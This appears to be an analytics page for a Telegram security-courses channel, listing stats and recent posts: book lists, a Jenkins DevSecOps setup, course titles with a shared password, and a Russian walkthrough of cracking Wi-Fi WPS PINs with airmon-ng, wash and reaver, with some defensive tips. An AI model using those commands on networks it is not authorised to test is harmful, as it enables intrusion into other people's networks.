All Security Engineering Courses
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This channel is being updated often with older than 2020 courses, ebooks, videos, code, etc. to be used responsibly by everyone in CyberSecurity in an ethical manner. Lots of content is being downloaded from other channels or forwarded here. Bookmark me!
Show more📈 Analytical overview of Telegram channel All Security Engineering Courses
Channel All Security Engineering Courses (@allsecurityengineeringcourses) in the English language segment is an active participant. Currently, the community unites 19 274 subscribers, ranking 6 807 in the Technologies & Applications category and 34 184 in the Russia region.
📊 Audience metrics and dynamics
Since its creation on невідомо, the project has demonstrated rapid growth, gathering an audience of 19 274 subscribers.
According to the latest data from 27 October, 2026, the channel demonstrates stable activity. Although there has been a change in the number of participants by 21 over the last 30 days and by -4 over the last 24 hours, overall reach remains high.
- Verification status: Not verified
- Engagement rate (ER): The average audience engagement rate is 11.16%. Within the first 24 hours after publication, content typically collects 2.72% reactions from the total number of subscribers.
- Post reach: On average, each post receives 2 151 views. Within the first day, a publication typically gains 524 views.
- Reactions and interaction: The audience actively supports content: the average number of reactions per post is 1.
- Thematic interests: Content is focused on key topics such as git, strace, github, linux, docker.
📝 Description and content policy
The author describes the resource as a platform for expressing subjective opinions:
“This channel is being updated often with older than 2020 courses, ebooks, videos, code, etc. to be used responsibly by everyone in CyberSecurity in an ethical manner. Lots of content is being downloaded from other channels or forwarded here. Bookmar...”
Thanks to the high frequency of updates (latest data received on 28 October, 2026), the channel maintains relevance and a high level of publication reach. Analytics show that the audience actively interacts with content, making it an important point of influence in the Technologies & Applications category.
19 274
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Channel Posts
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| 2 | Everest-Resume-Templates-Word-Download | 1 489 |
| 3 | https://www.youtube.com/watch?v=cFGjkzOhVX0&list=WL&index=11 | 2 501 |
| 4 |  Kubernetes components | 2 397 |
| 5 | https://www.eff.org/pages/i-want-opt-out-major-operating-systems#main-content | 2 340 |
| 6 | https://www.eff.org/pages/i-want-opt-out-software-made-big-tech#main-content | 2 012 |
| 7 | https://www.eff.org/pages/i-want-opt-out-ai-tools-or-training-made-big-tech#main-content | 1 665 |
| 8 |  💻 Проблемы БД или почему большой продакшн спасут только массовые расстрелы запросов
💡 Изучаем детали:
За счёт правильных, даже необязательно новых, а просто верно выбранных архитектурных подходов можно заставить работать не один конкретный запрос, а тысячу или даже миллион. Это становится краеугольным камнем, потому что объёмы данных растут с такой скоростью, которую мы даже представить себе не могли ещё пять лет назад.
Привет, участникам CodeGuard! Именно так считает наш сегодняшний гость – Дмитрий Немчин, руководитель направления эксплуатации инфраструктуры данных в Т-банке и по совместительству член программного комитетаData Internals, профессиональной ко...
📚 Перейти к статье
😈 CodeGuard: PySec Edition | #python | 2 857 |
| 9 | Beginning of the CodeGuard: PySec channel | 2 199 |
| 10 | Absolutely, Ville — here’s a clean, future‑proof summary of every step you took to get Jenkins + Docker + SonarQube + Trivy + OWASP DC working inside a single Jenkins container.
This is the kind of reference you’ll be glad you saved.
---
# 🧱 FULL SETUP SUMMARY — Jenkins CI/CD in a Single Container
Below is the complete, ordered list of what you did, why you did it, and the exact commands or UI steps involved.
---
# 🟦 1. Run Jenkins in Docker with access to host Docker
You started Jenkins with:
- Host Docker socket mounted
- Jenkins home volume
- Port 8080 exposed
This allows Jenkins to run Docker builds using the host engine.
---
# 🟦 2. Install required tools inside the Jenkins container
Inside the container:
apt-get update
apt-get install -y docker.io unzip openjdk-17-jdk nodejs npm
You now have:
- Docker CLI
- JDK 17
- NodeJS
- unzip
All available to Jenkins.
---
# 🟦 3. Install Sonar Scanner manually
Downloaded and extracted:
cd /opt
wget https://github.com/SonarSource/sonar-scanner-cli/releases/download/4.4.0.2170/sonar-scanner-cli-4.4.0.2170-linux.zip
unzip sonar-scanner-cli-4.4.0.2170-linux.zip
mv sonar-scanner-4.4.0.2170-linux sonar-scanner
Scanner path:
/opt/sonar-scanner
---
# 🟦 4. Install required Jenkins plugins
From Manage Jenkins → Plugins:
- SonarQube Scanner for Jenkins
- SonarQube
- NodeJS
- OWASP Dependency Check
- Email Extension
- Pipeline
- Docker Pipeline (optional)
---
# 🟦 5. Configure tools in Jenkins UI
### JDK
Manage Jenkins → Global Tool Configuration → JDK
- Name: jdk17
- Uncheck “Install automatically”
- JAVA_HOME:
```
/usr/lib/jvm/java-17-openjdk-amd64
```
### NodeJS
- Name: node16
- Uncheck “Install automatically”
### Sonar Scanner
- Name: sonar-scanner
- Uncheck “Install automatically”
- Installation directory:
```
/opt/sonar-scanner
```
---
# 🟦 6. Run SonarQube server on the host
You used:
docker run -d --name sonarqube \
-p 9000:9000 \
-v sonarqube_data:/opt/sonarqube/data \
-v sonarqube_logs:/opt/sonarqube/logs \
-v sonarqube_extensions:/opt/sonarqube/extensions \
sonarqube:lts-community
---
# 🟦 7. Configure SonarQube in Jenkins
Manage Jenkins → Configure System → SonarQube Servers
- Name: sonar-server
- URL: http://<host-ip>:9000
- Token: (generated in SonarQube UI)
Matches Jenkinsfile:
withSonarQubeEnv('sonar-server')
---
# 🟦 8. Add credentials in Jenkins
Path:
Manage Jenkins → Credentials → System → Global credentials → Add Credentials
You added:
- DockerHub credentials (docker-cred)
- SonarQube token (sonar-token)
---
# 🟦 9. Fix Docker permission issue inside Jenkins container
This was the big one.
### Problem:
Host Docker socket group ID = 984
Container docker group ID = 102
### Fix: recreate docker group inside container with correct GID
Inside container:
groupdel docker
groupadd -g 984 docker
usermod -aG docker jenkins
Restart container:
docker restart jenkins
Verify:
docker exec -it jenkins bash
id jenkins
docker ps
Now Docker works.
---
# 🟦 10. Run the pipeline — SUCCESS
Your Jenkinsfile worked without modification because:
- All tools were installed inside the container
- Jenkins had access to Docker
- SonarQube was reachable
- Trivy and OWASP DC were installed
- Credentials were configured
---
# 🎉 Final Result
You now have a fully functional DevSecOps pipeline running entirely inside a single Jenkins container, including:
- Git checkout
- SonarQube analysis
- Quality gate
- NPM install
- OWASP Dependency Check
- Trivy FS scan
- Docker build
- Docker push
- Trivy image scan
- Deployment
- Email notifications
This is a complete, production‑grade CI/CD pipeline. | 2 255 |
| 11 | MIT made its entire AI & ML library 100% FREE to access.
These 12 books are the best place to start 👇
↳ 𝗙𝗼𝘂𝗻𝗱𝗮𝘁𝗶𝗼𝗻𝘀
1. Foundations of Machine Learning
https://cs.nyu.edu/~mohri/mlbook/
The mathematical backbone of ML - algorithms, theory, and how models actually learn.
2. Understanding Deep Learning
https://udlbook.github.io/udlbook/
Neural networks explained visually and intuitively, from basics to modern architectures.
3. Deep Learning
https://www.deeplearningbook.org/
The definitive deep learning reference, written by the researchers who shaped the field.
4. Introduction to Machine Learning Systems
https://mlsysbook.ai/
How to design and build ML systems that work in production, not just in notebooks.
5. Algorithms for Optimization
https://algorithmsbook.com/optimization/
The math behind how models improve - gradient methods, search, and decision-making.
↳ 𝗥𝗲𝗶𝗻𝗳𝗼𝗿𝗰𝗲𝗺𝗲𝗻𝘁 𝗟𝗲𝗮𝗿𝗻𝗶𝗻𝗴
6. Reinforcement Learning: An Introduction
http://incompleteideas.net/book/the-book.html
The classic RL textbook - how agents learn to make decisions through trial and reward.
7. Distributional Reinforcement Learning
https://www.distributional-rl.org/
Goes beyond average rewards to model the full distribution of outcomes.
8. Multi-Agent Reinforcement Learning
https://www.marl-book.com/
How multiple AI agents learn, compete, and cooperate in shared environments.
↳ 𝗣𝗿𝗼𝗯𝗮𝗯𝗶𝗹𝗶𝘀𝘁𝗶𝗰 𝗠𝗟
9. Probabilistic Machine Learning: An Introduction
https://probml.github.io/pml-book/book1.html
ML through the lens of probability - uncertainty, inference, and Bayesian thinking.
10. Probabilistic Machine Learning: Advanced Topics
https://probml.github.io/pml-book/book2.html
Deep dives into probabilistic models, approximate inference, and generative methods.
↳ 𝗥𝗲𝘀𝗽𝗼𝗻𝘀𝗶𝗯𝗹𝗲 & 𝗔𝗴𝗲𝗻𝘁𝗶𝗰 𝗔𝗜
11. Agents in the Long Game of AI
https://direct.mit.edu/books/oa-monograph/5779/Agents-in-the-Long-Game-of-AIComputational
How to build AI agents that are trustworthy, hybrid, and designed for long-term reliability.
12. Fairness and Machine Learning
https://fairmlbook.org/
Where ML meets society - bias, discrimination, and how to build more equitable systems.
⭕️ Join for more:
@DarkWeb_VIP
https://t.me/+YyUiTGOgxFJmYTU8 | 1 906 |
| 12 |  Mosse Institute – MRT – Certified Red Teamer 2026
Pass : @Offensiv3Sec | 1 798 |
| 13 |  😈 Reaver — как я взломал Wi-Fi за 4 часа через WPS (тест безопасности!)
Думал, что WPS — это просто удобство для роутера? А на деле — огромная дыра. Reaver брутит PIN-код WPS и выдает WPA/WPA2 пароль. Многие роутеры падают за 4-10 часов.
🔍 Мой опыт: тестировал свою сеть и соседскую
(с разрешения, конечно, а ты что подумал какую соседскую.. 😉)
⚪️ Шаг 1: Готовим интерфейс
sudo airmon-ng start wlan0 # mon0 готов к охоте
sudo airmon-ng check kill # убиваем мешающие процессы
⚪️Шаг 2: Ищем жертву с WPS
sudo wash -i wlan0mon --ignore-locked
Ищем сети с WPS Locked: No — вот они, наши цели!
⚪️ Шаг 3: Лобовая атака Reaver
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -c 6 -K 1
- -vv — спамит логами, чтобы видеть прогресс
- -c 6 — фиксируем канал (из wash)
- -K 1 — stealth mode против блокировок
🔥 Мои настройки для стабильности:
--no-timeout # не сбрасывать при глюках
--dh-small # быстрее, но чуть менее надежно
--force-ns-noresp # игнорируем неответы
⏱️ Результат: TP-Link пал за 4:17. D-Link продержался 7 часов.
⚠️ Важно:
- WPS Locked = игра окончена, роутер заблокировал атаки
- Качество сигнала > -60dB, иначе тормоза
- Pixie Dust атака (pixiewps) может сократить до минут!
🛡 Защита (сразу после теста):
1. Отключи WPS в настройках роутера
2. Поменяй пароль на 20+ символов
3. Обнови прошивку (часто фиксит WPS)
📱 Посмотреть код
😈 CodeGuard: PySec Edition | Чат | 2 766 |
| 14 | SEC760.z03 | 1 |
| 15 |  ⭐️ SANS - SEC760 Advanced Exploit Development for Penetration Testers | 3 111 |
| 16 | https://www.udemy.com/course/free-learn-c-tutorial-beginners/ | 1 847 |
| 17 | ![Real-world scenario [1]: (OTP bypass via logic flaw) Start your hacking journey with us: codelivly.com Grab the best hands on](data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDACgcHiMeGSgjISMtKygwPGRBPDc3PHtYXUlkkYCZlo+AjIqgtObDoKrarYqMyP/L2u71////m8H////6/+b9//j/2wBDASstLTw1PHZBQXb4pYyl+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj/wAARCAAWACgDASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwCiOaNgpw4PNKStdHKjK7JrOyW63/Nt247Zq1/Yyf8APX/x2k0piqzFRu5Xvj1q/wCbJ/zx/wDHhWUt9C1sZU9kkDhM7uM5xiirV3lpVJGDt6fiaK1jFNakNu5klweMGkyPeiio5mVYsWl59l3hU3bsZz/n3qydXYY/dDmiipe40RvqAlfcUwQMcUUUVSbsJo//2Q==){kind=small} Real-world scenario [1]: (OTP bypass via logic flaw)
Start your hacking journey with us: codelivly.com
Grab the best hands on resources from : resources.codelivly.com | 2 823 |
| 18 | 🔥 Enterprise Network Penetration Testing — Hands-On Pentesting Book
Ready to move beyond basic Nmap scans? 🛡
Learn how real enterprise security assessments work — from internal reconnaissance & network enumeration to Active Directory attacks, lateral movement, detection & professional reporting.
📚 205+ pages
🎯 53 chapters + 40+ diagrams
💻 Hands-on labs & practical workflows
🩸 Active Directory + BloodHound + Kerberos
🔵 Detection with Wazuh, Sysmon, Zeek & Suricata
📊 Professional pentest reporting & risk assessment
Perfect for Pentesters, Red Teamers, SOC Analysts, Blue Teamers & Cybersecurity Students.
👉 Get the book: https://resources.codelivly.com/product/enterprise-network-penetration-testing/ | 2 442 |
| 19 | 🔗 Ligolo - The Art Of Internal Network Pivoting | 3 093 |
| 20 | 🗺 OSCP+ Active Directory Network Walkthrough | 4 623 |
